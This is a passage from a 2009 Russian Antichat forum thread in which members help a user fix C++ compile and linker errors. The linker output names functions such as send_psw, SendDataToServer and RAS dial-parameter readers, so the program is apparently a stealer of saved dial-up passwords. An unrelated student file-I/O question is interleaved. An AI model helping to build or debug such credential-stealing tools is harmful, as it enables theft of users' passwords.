ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

08.02.2009, 21:51
|
|
Участник форума
Регистрация: 30.01.2009
Сообщений: 196
Провел на форуме: 505362
Репутация:
66
|
|
Можно сделать копию библиотеки, и все ненужные функции обрезать, займет время, но хорошо отразится на размере конечной программы
|
|
|

08.02.2009, 23:46
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
Fl0dER на скоко я увидел в гугле проблемы с этим фйлом возникают при использовании borland попробуй пересесть на VS и аокажи ошибки которые он те выводит может общими усилиями решим проблему =)
|
|
|

09.02.2009, 10:04
|
|
Познающий
Регистрация: 22.12.2008
Сообщений: 82
Провел на форуме: 107509
Репутация:
6
|
|
Сообщение от Doom123
Fl0dER на скоко я увидел в гугле проблемы с этим фйлом возникают при использовании borland попробуй пересесть на VS и аокажи ошибки которые он те выводит может общими усилиями решим проблему =)
Код:
void _fastcall TRASReader::Construct()
{
FLSAListCount = 0;
FLSAList = NULL;
lib = LoadLibrary("kernel32.dll");
XRtlMoveMemory = (TRtlMoveMemory *) GetProcAddress(lib, "RtlMoveMemory");
XRtlZeroMemory = (TRtlZeroMemory *) GetProcAddress(lib, "RtlZeroMemory");
}
Вот тут ошибки
Код:
1>e:\гыи\rasreader.cpp(11) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
1> Conversion from 'void*' to pointer to non-'void' requires an explicit cast
1>e:\гыи\rasreader.cpp(12) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
1> Conversion from 'void*' to pointer to non-'void' requires an explicit cast
|
|
|

09.02.2009, 10:08
|
|
Познающий
Регистрация: 22.12.2008
Сообщений: 82
Провел на форуме: 107509
Репутация:
6
|
|
Сообщение от Fl0dER
Код:
void _fastcall TRASReader::Construct()
{
FLSAListCount = 0;
FLSAList = NULL;
lib = LoadLibrary("kernel32.dll");
XRtlMoveMemory = (TRtlMoveMemory *) GetProcAddress(lib, "RtlMoveMemory");
XRtlZeroMemory = (TRtlZeroMemory *) GetProcAddress(lib, "RtlZeroMemory");
}
Вот тут ошибки
Код:
1>e:\гыи\rasreader.cpp(11) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
1> Conversion from 'void*' to pointer to non-'void' requires an explicit cast
1>e:\гыи\rasreader.cpp(12) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
1> Conversion from 'void*' to pointer to non-'void' requires an explicit cast
Заменил Handle на HModule при компилиции терь такое О_о
Код:
1>main.obj : error LNK2019: unresolved external symbol _send@16 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _closesocket@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _connect@12 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _inet_addr@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _htons@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _socket@12 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _inet_ntoa@4 referenced in function "int __stdcall GetIpByHostName(char *,char *,unsigned long)" (?GetIpByHostName@@YGHPAD0K@Z)
1>main.obj : error LNK2019: unresolved external symbol _gethostbyname@4 referenced in function "int __stdcall GetIpByHostName(char *,char *,unsigned long)" (?GetIpByHostName@@YGHPAD0K@Z)
1>main.obj : error LNK2019: unresolved external symbol _WSAStartup@8 referenced in function "int __cdecl send_psw(void)" (?send_psw@@YAHXZ)
1>main.obj : error LNK2019: unresolved external symbol _RasEnumConnectionsA@12 referenced in function "bool __cdecl IsInternetConnected(void)" (?IsInternetConnected@@YA_NXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasEnumEntriesA@20 referenced in function "protected: unsigned long __fastcall TRASReader::GetRasEntryCount(void)" (?GetRasEntryCount@TRASReader@@IAIKXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryPropertiesA@24 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryDialParamsA@12 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>MSVCRTD.lib(crtexew.obj) : error LNK2019: unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup
|
|
|

26.02.2009, 23:08
|
|
Новичок
Регистрация: 27.07.2008
Сообщений: 7
Провел на форуме: 37882
Репутация:
2
|
|
Помогите найти ошибку
Всем доброго времени суток! Помогите, пожалуйста, найти ошибку в программе. при вводе
q q 1
w w 2
e e 3
и записи этого в файл, вместо того, чтобы вывести из файла это же самое программа выводит только 1 2 и 3  в чём ошибка?
[CODE]
#include "stdafx.h"
#include <iostream>
#include <string.h>
#include <cstring>
#include <stdio.h>
#include <fstream>
#include <sstream>
#include <conio.h>
class tovar
{
public:
char Firm[100];
char Name[100];
int Cena;
int dollar;
void enter_tovar(void);
void show_tovar(void);
void dollar_tovar(void);
void enter_file(void);
void show_file(void);
};
void tovar::enter_tovar(void)
{
std::cout << "Фирма: ";
std::cin >> Firm;
std::cout << "Модель: ";
std::cin >> Name;
std::cout << "Цена: ";
std::cin >> Cena;
};
void tovar::show_tovar(void)
{
std::cout << std::endl << Firm << " " << Name << " " << Cena << std::endl;
};
void tovar::dollar_tovar(void)
{
Cena=Cena / dollar;
};
void tovar::enter_file()
{
std::fstream file( "bd.txt", std::ios::app);
file << Firm << "\n";
file << Name << "\n";
file << Cena << "\n";
file.close();
};
void tovar::show_file()
{
std::fstream file( "bd.txt", std::ios::app);
file.open( "bd.txt", std::ios_base::in );
file >> Firm;
file >> Name;
file >> Cena;
file.close();
};
int main() {
setlocale(LC_ALL,"Russian");
tovar st[3];
int n = 3;
int a, d;
do{std::cout << "1-Ввод данных | " << "2-Вывод на экран | " << "3-Перевести рубли в доллары | " << "4-Сохранить файл | " << "ESC - Выход \n";
a=getch(); switch(a)
{
case 49:
for(int i=0; i<n; i++) {
st[i].enter_tovar();
system("cls");
}
break;
case 50:
for(int i=0; i<n; i++) {
st[i].show_tovar();
}
getch();
system("cls");
break;
case 51:
system("cls");
std::cout << "Введите курс доллара:";
std::cin >> st[1].dollar;
st[0].dollar=st[2].dollar=st[1].dollar;
for (int i=0; i<n; i++){
st[i].dollar_tovar();
}
break;
case 52:
std::fstream file( "bd.txt", std::ios::app );
for ( int i = 0; i < n; i++ )
{
st[i].enter_file();
}
for ( int i = 0; i < n; i++ )
{
st[i].show_file();
}
for ( int i = 0; i < n; i++ )
std::cout << std::endl << st[i].Firm << " " << st[i].Name << " " << st[i].Cena << std::endl;
break;
/* case 53:
break;*/
}
} while(a!=27);
return(0);
} /[CODE]
|
|
|

08.02.2009, 23:51
|
|
Участник форума
Регистрация: 30.01.2009
Сообщений: 196
Провел на форуме: 505362
Репутация:
66
|
|
Код:
#include <iostream>
using namespace std;
main()
{
cout << "hello world";
return 0;
}
Тоже требует?
|
|
|

09.02.2009, 09:15
|
|
Познающий
Регистрация: 22.12.2008
Сообщений: 82
Провел на форуме: 107509
Репутация:
6
|
|
Сообщение от awdrg
Код:
#include <iostream>
using namespace std;
main()
{
cout << "hello world";
return 0;
}
Тоже требует?
Да , также требует CC3280.dll
|
|
|

09.02.2009, 10:38
|
|
Участник форума
Регистрация: 19.05.2007
Сообщений: 281
Провел на форуме: 2823587
Репутация:
106
|
|
Код:
void _fastcall TRASReader::Construct()
{
FLSAListCount = 0;
FLSAList = NULL;
lib = GetModuleHandle(TEXT("kernel32.dll"));//lib типа HMODULE
XRtlMoveMemory = (TRtlMoveMemory *) GetProcAddress(lib, "RtlMoveMemory");
XRtlZeroMemory = (TRtlZeroMemory *) GetProcAddress(lib, "RtlZeroMemory");
}
попробуй так у меня нормально все компилится.
|
|
|

09.02.2009, 10:43
|
|
Познающий
Регистрация: 22.12.2008
Сообщений: 82
Провел на форуме: 107509
Репутация:
6
|
|
Сообщение от St0nX
Код:
void _fastcall TRASReader::Construct()
{
FLSAListCount = 0;
FLSAList = NULL;
lib = GetModuleHandle(TEXT("kernel32.dll"));//lib типа HMODULE
XRtlMoveMemory = (TRtlMoveMemory *) GetProcAddress(lib, "RtlMoveMemory");
XRtlZeroMemory = (TRtlZeroMemory *) GetProcAddress(lib, "RtlZeroMemory");
}
попробуй так у меня нормально все компилится.
1>e:\гыи\rasreader.cpp(11) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
1> Conversion from 'void*' to pointer to non-'void' requires an explicit cast
1>e:\гыи\rasreader.cpp(12) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
такие же ошибки
а lib типом Handle оставлять ?
Последний раз редактировалось Fl0dER; 09.02.2009 в 10:55..
|
|
|

09.02.2009, 11:21
|
|
Участник форума
Регистрация: 19.05.2007
Сообщений: 281
Провел на форуме: 2823587
Репутация:
106
|
|
я же в коментах написал что типа HMODULE
lib = GetModuleHandle(TEXT("kernel32.dll"));//lib типа HMODULE
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|